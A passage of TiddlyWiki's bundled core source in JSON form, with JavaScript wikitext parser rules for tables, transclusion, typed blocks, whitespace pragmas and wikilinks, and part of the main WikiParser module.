{\n\t\t\t\t\t\tcolSpanCount += prevCell.attributes.colspan.value;\n\t\t\t\t} else {\n\t\t\t\t\tcolSpanCount -= 1;\n\t\t\t\t}\n\t\t\t\t$tw.utils.addAttributeToParseTreeNode(prevCell,\"colspan\",colSpanCount);\n\t\t\t}\n\t\t\tthis.parser.pos = cellRegExp.lastIndex - 1;\n\t\t\tbreak;\n\t\t} else {\n\t\t\t// For ordinary cells, step beyond the opening `|`\n\t\t\tthis.parser.pos++;\n\t\t\t// Look for a space at the start of the cell\n\t\t\tvar spaceLeft = false;\n\t\t\tvAlign = null;\n\t\t\tif(this.parser.source.substr(this.parser.pos).search(/^\\^([^\\^]|\\^\\^)/) === 0) {\n\t\t\t\tvAlign = \"top\";\n\t\t\t} else if(this.parser.source.substr(this.parser.pos).search(/^,([^,]|,,)/) === 0) {\n\t\t\t\tvAlign = \"bottom\";\n\t\t\t}\n\t\t\tif(vAlign) {\n\t\t\t\tthis.parser.pos++;\n\t\t\t}\n\t\t\tvar chr = this.parser.source.substr(this.parser.pos,1);\n\t\t\twhile(chr === \" \") {\n\t\t\t\tspaceLeft = true;\n\t\t\t\tthis.parser.pos++;\n\t\t\t\tchr = this.parser.source.substr(this.parser.pos,1);\n\t\t\t}\n\t\t\t// Check whether this is a heading cell\n\t\t\tvar cell;\n\t\t\tif(chr === \"!\") {\n\t\t\t\tthis.parser.pos++;\n\t\t\t\tcell = {type: \"element\", tag: \"th\", children: []};\n\t\t\t} else {\n\t\t\t\tcell = {type: \"element\", tag: \"td\", children: []};\n\t\t\t}\n\t\t\ttree.push(cell);\n\t\t\t// Record information about this cell\n\t\t\tprevCell = cell;\n\t\t\tprevColumns[col] = {rowSpanCount:1,element:cell};\n\t\t\t// Check for a colspan\n\t\t\tif(colSpanCount > 1) {\n\t\t\t\t$tw.utils.addAttributeToParseTreeNode(cell,\"colspan\",colSpanCount);\n\t\t\t\tcolSpanCount = 1;\n\t\t\t}\n\t\t\t// Parse the cell\n\t\t\tcell.children = this.parser.parseInlineRun(cellTermRegExp,{eatTerminator: true});\n\t\t\t// Set the alignment for the cell\n\t\t\tif(vAlign) {\n\t\t\t\t$tw.utils.addAttributeToParseTreeNode(cell,\"valign\",vAlign);\n\t\t\t}\n\t\t\tif(this.parser.source.substr(this.parser.pos - 2,1) === \" \") { // spaceRight\n\t\t\t\t$tw.utils.addAttributeToParseTreeNode(cell,\"align\",spaceLeft ? \"center\" : \"left\");\n\t\t\t} else if(spaceLeft) {\n\t\t\t\t$tw.utils.addAttributeToParseTreeNode(cell,\"align\",\"right\");\n\t\t\t}\n\t\t\t// Move back to the closing `|`\n\t\t\tthis.parser.pos--;\n\t\t}\n\t\tcol++;\n\t\tcellRegExp.lastIndex = this.parser.pos;\n\t\tcellMatch = cellRegExp.exec(this.parser.source);\n\t}\n\treturn tree;\n};\n\nexports.parse = function() {\n\tvar rowContainerTypes = {\"c\":\"caption\", \"h\":\"thead\", \"\":\"tbody\", \"f\":\"tfoot\"},\n\t\ttable = {type: \"element\", tag: \"table\", children: []},\n\t\trowRegExp = /^\\|([^\\n]*)\\|([fhck]?)\\r?(?:\\n|$)/mg,\n\t\trowTermRegExp = /(\\|(?:[fhck]?)\\r?(?:\\n|$))/mg,\n\t\tprevColumns = [],\n\t\tcurrRowType,\n\t\trowContainer,\n\t\trowCount = 0;\n\t// Match the row\n\trowRegExp.lastIndex = this.parser.pos;\n\tvar rowMatch = rowRegExp.exec(this.parser.source);\n\twhile(rowMatch && rowMatch.index === this.parser.pos) {\n\t\tvar rowType = rowMatch[2];\n\t\t// Check if it is a class assignment\n\t\tif(rowType === \"k\") {\n\t\t\t$tw.utils.addClassToParseTreeNode(table,rowMatch[1]);\n\t\t\tthis.parser.pos = rowMatch.index + rowMatch[0].length;\n\t\t} else {\n\t\t\t// Otherwise, create a new row if this one is of a different type\n\t\t\tif(rowType !== currRowType) {\n\t\t\t\trowContainer = {type: \"element\", tag: rowContainerTypes[rowType], children: []};\n\t\t\t\ttable.children.push(rowContainer);\n\t\t\t\tcurrRowType = rowType;\n\t\t\t}\n\t\t\t// Is this a caption row?\n\t\t\tif(currRowType === \"c\") {\n\t\t\t\t// If so, move past the opening `|` of the row\n\t\t\t\tthis.parser.pos++;\n\t\t\t\t// Move the caption to the first row if it isn't already\n\t\t\t\tif(table.children.length !== 1) {\n\t\t\t\t\ttable.children.pop(); // Take rowContainer out of the children array\n\t\t\t\t\ttable.children.splice(0,0,rowContainer); // Insert it at the bottom\t\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\t// Set the alignment - TODO: figure out why TW did this\n//\t\t\t\trowContainer.attributes.align = rowCount === 0 ? \"top\" : \"bottom\";\n\t\t\t\t// Parse the caption\n\t\t\t\trowContainer.children = this.parser.parseInlineRun(rowTermRegExp,{eatTerminator: true});\n\t\t\t} else {\n\t\t\t\t// Create the row\n\t\t\t\tvar theRow = {type: \"element\", tag: \"tr\", children: []};\n\t\t\t\t$tw.utils.addClassToParseTreeNode(theRow,rowCount%2 ? \"oddRow\" : \"evenRow\");\n\t\t\t\trowContainer.children.push(theRow);\n\t\t\t\t// Process the row\n\t\t\t\ttheRow.children = processRow.call(this,prevColumns);\n\t\t\t\tthis.parser.pos = rowMatch.index + rowMatch[0].length;\n\t\t\t\t// Increment the row count\n\t\t\t\trowCount++;\n\t\t\t}\n\t\t}\n\t\trowMatch = rowRegExp.exec(this.parser.source);\n\t}\n\treturn [table];\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/transcludeblock.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/transcludeblock.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/transcludeblock.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text rule for block-level transclusion. For example:\n\n```\n{{MyTiddler}}\n{{MyTiddler||TemplateTitle}}\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"transcludeblock\";\nexports.types = {block: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /\\{\\{([^\\{\\}\\|]*)(?:\\|\\|([^\\|\\{\\}]+))?\\}\\}(?:\\r?\\n|$)/mg;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t// Get the match details\n\tvar template = $tw.utils.trim(this.match[2]),\n\t\ttextRef = $tw.utils.trim(this.match[1]);\n\t// Prepare the transclude widget\n\tvar transcludeNode = {\n\t\t\ttype: \"transclude\",\n\t\t\tattributes: {},\n\t\t\tisBlock: true\n\t\t};\n\t// Prepare the tiddler widget\n\tvar tr, targetTitle, targetField, targetIndex, tiddlerNode;\n\tif(textRef) {\n\t\ttr = $tw.utils.parseTextReference(textRef);\n\t\ttargetTitle = tr.title;\n\t\ttargetField = tr.field;\n\t\ttargetIndex = tr.index;\n\t\ttiddlerNode = {\n\t\t\ttype: \"tiddler\",\n\t\t\tattributes: {\n\t\t\t\ttiddler: {type: \"string\", value: targetTitle}\n\t\t\t},\n\t\t\tisBlock: true,\n\t\t\tchildren: [transcludeNode]\n\t\t};\n\t}\n\tif(template) {\n\t\ttranscludeNode.attributes.tiddler = {type: \"string\", value: template};\n\t\tif(textRef) {\n\t\t\treturn [tiddlerNode];\n\t\t} else {\n\t\t\treturn [transcludeNode];\n\t\t}\n\t} else {\n\t\tif(textRef) {\n\t\t\ttranscludeNode.attributes.tiddler = {type: \"string\", value: targetTitle};\n\t\t\tif(targetField) {\n\t\t\t\ttranscludeNode.attributes.field = {type: \"string\", value: targetField};\n\t\t\t}\n\t\t\tif(targetIndex) {\n\t\t\t\ttranscludeNode.attributes.index = {type: \"string\", value: targetIndex};\n\t\t\t}\n\t\t\treturn [tiddlerNode];\n\t\t} else {\n\t\t\treturn [transcludeNode];\n\t\t}\n\t}\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/transcludeinline.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/transcludeinline.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/transcludeinline.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text rule for inline-level transclusion. For example:\n\n```\n{{MyTiddler}}\n{{MyTiddler||TemplateTitle}}\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"transcludeinline\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /\\{\\{([^\\{\\}\\|]*)(?:\\|\\|([^\\|\\{\\}]+))?\\}\\}/mg;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t// Get the match details\n\tvar template = $tw.utils.trim(this.match[2]),\n\t\ttextRef = $tw.utils.trim(this.match[1]);\n\t// Prepare the transclude widget\n\tvar transcludeNode = {\n\t\t\ttype: \"transclude\",\n\t\t\tattributes: {}\n\t\t};\n\t// Prepare the tiddler widget\n\tvar tr, targetTitle, targetField, targetIndex, tiddlerNode;\n\tif(textRef) {\n\t\ttr = $tw.utils.parseTextReference(textRef);\n\t\ttargetTitle = tr.title;\n\t\ttargetField = tr.field;\n\t\ttargetIndex = tr.index;\n\t\ttiddlerNode = {\n\t\t\ttype: \"tiddler\",\n\t\t\tattributes: {\n\t\t\t\ttiddler: {type: \"string\", value: targetTitle}\n\t\t\t},\n\t\t\tchildren: [transcludeNode]\n\t\t};\n\t}\n\tif(template) {\n\t\ttranscludeNode.attributes.tiddler = {type: \"string\", value: template};\n\t\tif(textRef) {\n\t\t\treturn [tiddlerNode];\n\t\t} else {\n\t\t\treturn [transcludeNode];\n\t\t}\n\t} else {\n\t\tif(textRef) {\n\t\t\ttranscludeNode.attributes.tiddler = {type: \"string\", value: targetTitle};\n\t\t\tif(targetField) {\n\t\t\t\ttranscludeNode.attributes.field = {type: \"string\", value: targetField};\n\t\t\t}\n\t\t\tif(targetIndex) {\n\t\t\t\ttranscludeNode.attributes.index = {type: \"string\", value: targetIndex};\n\t\t\t}\n\t\t\treturn [tiddlerNode];\n\t\t} else {\n\t\t\treturn [transcludeNode];\n\t\t}\n\t}\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/typedblock.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/typedblock.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/typedblock.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text rule for typed blocks. For example:\n\n```\n$$$.js\nThis will be rendered as JavaScript\n$$$\n\n$$$.svg\n<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"150\" height=\"100\">\n <circle cx=\"100\" cy=\"50\" r=\"40\" stroke=\"black\" stroke-width=\"2\" fill=\"red\" />\n</svg>\n$$$\n\n$$$text/vnd.tiddlywiki>text/html\nThis will be rendered as an //HTML representation// of WikiText\n$$$\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar widget = require(\"$:/core/modules/widgets/widget.js\");\n\nexports.name = \"typedblock\";\nexports.types = {block: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /\\$\\$\\$([^ >\\r\\n]*)(?: *> *([^ \\r\\n]+))?\\r?\\n/mg;\n};\n\nexports.parse = function() {\n\tvar reEnd = /\\r?\\n\\$\\$\\$\\r?(?:\\n|$)/mg;\n\t// Save the type\n\tvar parseType = this.match[1],\n\t\trenderType = this.match[2];\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t// Look for the end of the block\n\treEnd.lastIndex = this.parser.pos;\n\tvar match = reEnd.exec(this.parser.source),\n\t\ttext;\n\t// Process the block\n\tif(match) {\n\t\ttext = this.parser.source.substring(this.parser.pos,match.index);\n\t\tthis.parser.pos = match.index + match[0].length;\n\t} else {\n\t\ttext = this.parser.source.substr(this.parser.pos);\n\t\tthis.parser.pos = this.parser.sourceLength;\n\t}\n\t// Parse the block according to the specified type\n\tvar parser = this.parser.wiki.parseText(parseType,text,{defaultType: \"text/plain\"});\n\t// If there's no render type, just return the parse tree\n\tif(!renderType) {\n\t\treturn parser.tree;\n\t} else {\n\t\t// Otherwise, render to the rendertype and return in a <PRE> tag\n\t\tvar widgetNode = this.parser.wiki.makeWidget(parser),\n\t\t\tcontainer = $tw.fakeDocument.createElement(\"div\");\n\t\twidgetNode.render(container,null);\n\t\ttext = renderType === \"text/html\" ? container.innerHTML : container.textContent;\n\t\treturn [{\n\t\t\ttype: \"element\",\n\t\t\ttag: \"pre\",\n\t\t\tchildren: [{\n\t\t\t\ttype: \"text\",\n\t\t\t\ttext: text\n\t\t\t}]\n\t\t}];\n\t}\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/whitespace.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/whitespace.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/whitespace.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki pragma rule for whitespace specifications\n\n```\n\\whitespace trim\n\\whitespace notrim\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"whitespace\";\nexports.types = {pragma: true};\n\n/*\nInstantiate parse rule\n*/\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /^\\\\whitespace[^\\S\\n]/mg;\n};\n\n/*\nParse the most recent match\n*/\nexports.parse = function() {\n\tvar self = this;\n\t// Move past the pragma invocation\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t// Parse whitespace delimited tokens terminated by a line break\n\tvar reMatch = /[^\\S\\n]*(\\S+)|(\\r?\\n)/mg,\n\t\ttokens = [];\n\treMatch.lastIndex = this.parser.pos;\n\tvar match = reMatch.exec(this.parser.source);\n\twhile(match && match.index === this.parser.pos) {\n\t\tthis.parser.pos = reMatch.lastIndex;\n\t\t// Exit if we've got the line break\n\t\tif(match[2]) {\n\t\t\tbreak;\n\t\t}\n\t\t// Process the token\n\t\tif(match[1]) {\n\t\t\ttokens.push(match[1]);\n\t\t}\n\t\t// Match the next token\n\t\tmatch = reMatch.exec(this.parser.source);\n\t}\n\t// Process the tokens\n\t$tw.utils.each(tokens,function(token) {\n\t\tswitch(token) {\n\t\t\tcase \"trim\":\n\t\t\t\tself.parser.configTrimWhiteSpace = true;\n\t\t\t\tbreak;\n\t\t\tcase \"notrim\":\n\t\t\t\tself.parser.configTrimWhiteSpace = false;\n\t\t\t\tbreak;\n\t\t}\n\t});\n\t// No parse tree nodes to return\n\treturn [];\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/wikilink.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/wikilink.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/wikilink.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for wiki links. For example:\n\n```\nAWikiLink\nAnotherLink\n~SuppressedLink\n```\n\nPrecede a camel case word with `~` to prevent it from being recognised as a link.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"wikilink\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = new RegExp($tw.config.textPrimitives.unWikiLink + \"?\" + $tw.config.textPrimitives.wikiLink,\"mg\");\n};\n\n/*\nParse the most recent match\n*/\nexports.parse = function() {\n\t// Get the details of the match\n\tvar linkText = this.match[0];\n\t// Move past the macro call\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t// If the link starts with the unwikilink character then just output it as plain text\n\tif(linkText.substr(0,1) === $tw.config.textPrimitives.unWikiLink) {\n\t\treturn [{type: \"text\", text: linkText.substr(1)}];\n\t}\n\t// If the link has been preceded with a blocked letter then don't treat it as a link\n\tif(this.match.index > 0) {\n\t\tvar preRegExp = new RegExp($tw.config.textPrimitives.blockPrefixLetters,\"mg\");\n\t\tpreRegExp.lastIndex = this.match.index-1;\n\t\tvar preMatch = preRegExp.exec(this.parser.source);\n\t\tif(preMatch && preMatch.index === this.match.index-1) {\n\t\t\treturn [{type: \"text\", text: linkText}];\n\t\t}\n\t}\n\treturn [{\n\t\ttype: \"link\",\n\t\tattributes: {\n\t\t\tto: {type: \"string\", value: linkText}\n\t\t},\n\t\tchildren: [{\n\t\t\ttype: \"text\",\n\t\t\ttext: linkText\n\t\t}]\n\t}];\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/wikiparser.js": {
"title": "$:/core/modules/parsers/wikiparser/wikiparser.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/wikiparser.js\ntype: application/javascript\nmodule-type: parser\n\nThe wiki text parser processes blocks of source text into a parse tree.\n\nThe parse tree is made up of nested arrays of these JavaScript objects:\n\n\t{type: \"element\", tag: <string>, attributes: {}, children: []} - an HTML element\n\t{type: \"text\", text: <string>} - a text node\n\t{type: \"entity\", value: <string>} - an entity\n\t{type: \"raw\", html: <string>} - raw HTML\n\nAttributes are stored as hashmaps of the following objects:\n\n\t{type: \"string\", value: <string>} - literal string\n\t{type: \"indirect\", textReference: <textReference>} - indirect through a text reference\n\t{type: \"macro\", macro: <TBD>} - indirect through a macro invocation\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar WikiParser = function(type,text,options) {\n\tthis.wiki = options.wiki;\n\tvar self = this;\n\t// Check for an externally linked tiddler\n\tif($tw.browser && (text || \"\") === \"\" && options._canonical_uri) {\n\t\tthis.loadRemoteTiddler(options._canonical_uri);\n\t\ttext = $tw.language.getRawString(\"LazyLoadingWarning\");\n\t}\n\t// Initialise the classes if we don't have them already\n\tif(!this.pragmaRuleClasses) {\n\t\tWikiParser.prototype.pragmaRuleClasses = $tw.modules.createClassesFromModules(\"wikirule\",\"pragma\",$tw.WikiRuleBase);\n\t\tthis.setupRules(WikiParser.prototype.pragmaRuleClasses,\"$:/config/WikiParserRules/Pragmas/\");\n\t}\n\tif(!this.blockRuleClasses) {\n\t\tWikiParser.prototype.blockRuleClasses = $tw.modules.createClassesFromModules(\"wikirule\",\"block\",$tw.WikiRuleBase);\n\t\tthis.setupRules(WikiParser.prototype.blockRuleClasses,\"$:/config/WikiParserRules/Block/\");\n\t}\n\tif(!this.inlineRuleClasses) {\n\t\tWikiParser.prototype.inlineRuleClasses = $tw.modules.createClassesFromModules(\"wikirule\",\"inline\",$tw.WikiRuleBase);\n\t\tthis.setupRules(WikiParser.prototype.inlineRuleClasses,\"$:/config/WikiParserRules/Inline/\");\n\t}\n\t// Save the parse text\n\tthis.type = type || \"text/vnd.tiddlywiki\";\n\tthis.source = text || \"\";\n\tthis.sourceLength = this.source.length;\n\t// Flag for ignoring whitespace\n\tthis.configTrimWhiteSpace = false;\n\t// Set current parse position\n\tthis.pos = 0;\n\t// Instantiate the pragma parse rules\n\tthis.pragmaRules = this.instantiateRules(this.pragmaRuleClasses,\"pragma\",0);\n\t// Instantiate the parser block and inline rules\n\tthis.blockRules = this.instantiateRules(this.blockRuleClasses,\"block\",0);\n\tthis.inlineRules = this.instantiateRules(this.inlineRuleClasses,\"inline\",0);\n\t// Parse any pragmas\n\tthis.tree = [];\n\tvar topBranch = this.parsePragmas();\n\t// Parse the text into inline runs or blocks\n\tif(options.parseAsInline) {\n\t\ttopBranch.push.apply(topBranch,this.parseInlineRun());\n\t} else {\n\t\ttopBranch.push.apply(topBranch,this.parseBlocks());\n\t}\n\t// Return the parse tree\n};\n\n/*\n*/\nWikiParser.prototype.loadRemoteTiddler = function(url) {\n\tvar self = this;\n\t$tw.utils.httpRequest({\n\t\turl: url,\n\t\ttype: \"GET\",\n\t\tcallback: function(err,data) {\n\t\t\tif(!err) {\n\t\t\t\tvar tiddlers = self.wiki.deserializeTiddlers(\".tid\",data,self.wiki.getCreationFields());\n\t\t\t\t$tw.utils.each(tiddlers,function(tiddler) {\n\t\t\t\t\ttiddler[\"_canonical_uri\"] = url;\n\t\t\t\t});\n\t\t\t\tif(tiddlers) {\n\t\t\t\t\tself.wiki.addTiddlers(tiddlers);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t});\n};\n\n/*\n*/\nWikiParser.prototype.setupRules = function(proto,configPrefix) {\n\tvar self = this;\n\tif(!$tw.safemode) {\n\t\t$tw.utils.each(proto,function(object,name) {\n\t\t\tif(self.wiki.getTiddlerText(configPrefix + name,\"enable\") !== \"enable\") {\n\t\t\t\tdelete proto[name];\n\t\t\t}\n\t\t});\n\t}\n};\n\n/*\nInstantiate an array of parse rules\n*/\nWikiParser.prototype.instantiateRules = function(classes,type,startPos) {\n\tvar rulesInfo = [],\n\t\tself = this;\n\t$tw.utils.each(classes,function(RuleClass) {\n\t\t// Instantiate the rule\n\t\tvar rule = new RuleClass(self);\n\t\trule.is = {};\n\t\trule.is[type] = true;\n\t\trule.init(self);\n\t\tvar matchIndex = rule.findNextMatch(startPos);\n\t\tif(matchIndex !== undefined) {\n\t\t\trulesInfo.push({\n\t\t\t\trule: rule,\n\t\t\t\tmatchIndex: matchIndex\n\t\t\t});\n\t\t}\n\t});\n\treturn rulesInfo;\n};\n\n/*\nSkip any whitespace at the current position. Options are:\n\ttreatNewlinesAsNonWhitespace: true if newlines are NOT to be treated as whitespace\n*/\nWikiParser.prototype.skipWhitespace = function(options) {\n\toptions = options || {};\n\tvar whitespaceRegExp = options.treatNewlinesAsNonWhitespace ? /([^\\S\\n]+)/mg : /(\\s+)/mg;\n\twhitespaceRegExp.lastIndex = this.pos;\n\tvar whitespaceMatch = whitespaceRegExp.exec(this.source);\n\tif(whitespaceMatch && whitespaceMatch.index === this.pos) {\n\t\tthis.pos = whitespaceRegExp.lastIndex;\n\t}\n};\n\n/*\nGet the next match out of an array of parse rule instances\n*/\nWikiParser.prototype.findNextMatch = function(rules,startPos) {\n\t// Find the best matching rule by finding the closest match position\n\tvar matchingRule,\n\t\tmatchingRulePos = this.sourceLength;\n\t// Step through each rule\n\tfor(var t=0; t<rules.length; t++) {\n\t\tvar ruleInfo = rules[t];\n\t\t// Ask the rule to get the next match if we've moved past the current one\n\t\tif(ruleInfo.matchIndex !== undefined && ruleInfo.matchIndex < startPos) {\n\t\t\truleInfo.matchIndex = ruleInfo.rule.findNextMatch(startPos);\n\t\t}\n\t\t// Adopt this match if it's closer than the current best match\n\t\tif(ruleInfo.matchIndex !== undefined && ruleInfo.matchIndex <= matchingRulePos) {\n\t\t\tmatchingRule = ruleInfo;\n\t\t\tmatchingRulePos = ruleInfo.matchIndex;\n\t\t}\n\t}\n\treturn matchingRule;\n};\n\n/*\nParse any pragmas at the beginning of a block of parse text\n*/\nWikiParser.prototype.parsePragmas = function() {\n\tvar currentTreeBranch = this.tree;\n\twhile(true) {\n\t\t// Skip whitespace\n\t\tthis.skipWhitespace();\n\t\t// Check for the end of the text\n\t\tif(this.pos >= this.sourceLength) {\n\t\t\tbreak;\n\t\t}\n\t\t// Check if we've arrived at a pragma rule match\n\t\tvar nextMatch = this.findNextMatch(this.pragmaRules,this.pos);\n\t\t// If not, just exit\n\t\tif(!nextMatch || nextMatch.matchIndex !== this.pos) {\n\t\t\tbreak;\n\t\t}\n\t\t// Process the pragma rule\n\t\tvar subTree = nextMatch.rule.parse();\n\t\tif(subTree.length > 0) {\n\t\t\t// Quick hack; we only cope with a single parse tree node being returned, which is true at the moment\n\t\t\tcurrentTreeBranch.push.apply(currentTreeBranch,subTree);\n\t\t\tsubTree[0].children = [];\n\t\t\tcurrentTreeBranch = subTree[0].children;\n\t\t}\n\t}\n\treturn currentTreeBranch;\n};\n\n/*\nParse a block from the current position\n\tterminatorRegExpString: optional regular expression string that identifies the end of plain paragraphs. Must not include capturing parenthesis\n*/\nWikiParser.prototype.parseBlock = function(terminatorRegExpString) {\n\tvar terminatorRegExp = terminatorRegExpString ? new RegExp(\"(\" + terminatorRegExpString + \"|\\\\r?\\\\n\\\\r?\\\\n)\",\"mg\") : /(\\r?\\n\\r?\\n)/mg;\n\tthis.skipWhitespace();\n\tif(this.pos >= this.sourceLength) {\n\t\treturn [];\n\t}\n\t// Look for a block rule that applies at the current position\n\tvar nextMatch = this.findNextMatch(this.blockRules,this.pos);\n\tif(nextMatch && nextMatch.matchIndex === this.pos) {\n\t\treturn nextMatch.rule.parse();\n\t}\n\t// Treat it as a paragraph if we didn't find a block rule\n\treturn [{type: \"element\", tag: \"p\", children: this.parseInlineRun(terminatorRegExp)}];\n};\n\n/*\nParse a series of blocks of text until a terminating regexp is encountered or the end of the text\n\tterminatorRegExpString: terminating regular expression\n*/\nWikiParser.prototype.parseBlocks = function(terminatorRegExpString) {\n\tif(terminatorRegExpString) {\n\t\treturn this.parseBlocksTerminated(terminatorRegExpString);\n\t} else {\n\t\treturn this.parseBlocksUnterminated();\n\t}\n};\n\n/*\nParse a block from the current position to the end of the text\n*/\nWikiParser.prototype.parseBlocksUnterminated = function() {\n\tvar tree = [];\n\twhile(this.pos < this.sourceLength) {\n\t\ttree.push.apply(tree,this.parseBlock());\n\t}\n\treturn tree;\n};\n\n/*\nParse blocks of text until a terminating regexp is encountered\n*/\nWikiParser.prototype.parseBlocksTerminated = function(terminatorRegExpString) {\n\tvar terminatorRegExp = new RegExp(\"(\" + terminatorRegExpString + \")\",\"mg\"),\n\t\ttree = [];\n\t// Skip any whitespace\n\tthis.skipWhitespace();\n\t// Check if we've got the end marker\n\tterminatorRegExp.lastIndex = this.pos;\n\tvar match = terminatorRegExp.exec(this.source);\n\t// Parse the text into blocks\n\twhile(this.pos < this.sourceLength && !(match && match.index === this.pos)) {\n\t\tvar blocks = this.parseBlock(terminatorRegExpString);\n\t\ttree.push.apply(tree,blocks);\n\t\t// Skip any whitespace\n\t\tthis.skipWhitespace();\n\t\t// Check if we've got the end marker\n\t\tterminatorRegExp.lastIndex = this.pos;\n\t\tmatch = terminatorRegExp.exec(this.source);\n\t}\n\tif(match && match.index === this.pos) {\n\t\tthis.pos = match.index + match[0].length;\n\t}\n\treturn tree;\n};\n\n/*\nParse a run of text at the current position\n\tterminatorRegExp: a regexp at which to stop the run\n\toptions: see below\nOptions available:\n\teatTerminator: move the parse position past any encountered terminator (default false)\n*/\nWikiParser.prototype.parseInlineRun = function(terminatorRegExp,options) {\n\tif(terminatorRegExp) {\n\t\treturn this.parseInlineRunTerminated(terminatorRegExp,options);\n\t} else {\n\t\treturn this.parseInlineRunUnterminated(options);\n\t}\n};\n\nWikiParser.prototype.parseInlineRunUnterminated = function(options) {\n\tvar tree = [];\n\t// Find the next occurrence of an inline rule\n\tvar nextMatch = this.findNextMatch(this.inlineRules,this.pos);\n\t// Loop around the matches until we've reached the end of the text\n\twhile(this.pos < this.sourceLength && nextMatch) {\n\t\t// Process the text preceding the run rule\n\t\tif(nextMatch.matchIndex > this.pos) {\n\t\t\tthis.pushTextWidget(tree,this.source.substring(this.pos,nextMatch.matchIndex));\n\t\t\tthis.pos = nextMatch.matchIndex;\n\t\t}\n\t\t// Process the run rule\n\t\ttree.push.apply(tree,nextMatch.rule.parse());\n\t\t// Look for the next run rule\n\t\tnextMatch = this.findNextMatch(this.inlineRules,this.pos);\n\t}\n\t// Process the remaining text\n\tif(this.pos < this.sourceLength) {\n\t\tthis.pushTextWidget(tree,this.source.substr(this.pos));\n\t}\n\tthis.pos = this.sourceLength;\n\treturn tree;\n};\n\nWikiParser.prototype.parseInlineRunTerminated = function(terminatorRegExp,options) {\n\toptions = options || {};\n\tvar tree = [];\n\t// Find the next occurrence of the terminator\n\tterminatorRegExp.lastIndex = this.pos;\n\tvar terminatorMatch = terminatorRegExp.exec(this.source);\n\t// Find the next occurrence of a inlinerule\n\tvar inlineRuleMatch = this.findNextMatch(this.inlineRules,this.pos);\n\t// Loop around until we've reached the end of the text\n\twhile(this.pos < this.sourceLength && (terminatorMatch || inlineRuleMatch)) {\n\t\t// Return if we've found the terminator, and it precedes any inline rule match\n\t\tif(terminatorMatch) {\n\t\t\tif(!inlineRuleMatch || inlineRuleMatch.matchIndex >= terminatorMatch.index) {\n\t\t\t\tif(terminatorMatch.index > this.pos) {\n\t\t\t\t\tthis.pushTextWidget(tree,this.source.substring(this.pos,terminatorMatch.index));\n\t\t\t\t}\n\t\t\t\tthis.pos = terminatorMatch.index;\n\t\t\t\tif(options.eatTerminator) {\n\t\t\t\t\tthis.pos += terminatorMatch[0].length;\n\t\t\t\t}\n\t\t\t\treturn tree;\n\t\t\t}\n\t\t}\n\t\t// Process any inline rule, along with the text preceding it\n\t\tif(inlineRuleMatch) {\n\t\t\t// Preceding text\n\t\t\tif(inlineRuleMatch.matchIndex > this.pos) {\n\t\t\t\tthis.pushTextWidget(tree,this.source.substring(this.pos,inlineRuleMatch.matchIndex));\n\t\t\t\tthis.pos = inlineRuleMatch.matchIndex;\n\t\t\t}\n\t\t\t// Process the inline rule\n\t\t\ttree.push.apply(tree,inlineRuleMatch.rule.parse());\n\t\t\t// Look for the next inline rule\n\t\t\tinlineRuleMatch = this.findNextMatch(this.inlineRules,this.pos);\n\t\t\t// Look for the next terminator match\n\t\t\tterminatorRegExp.lastIndex = 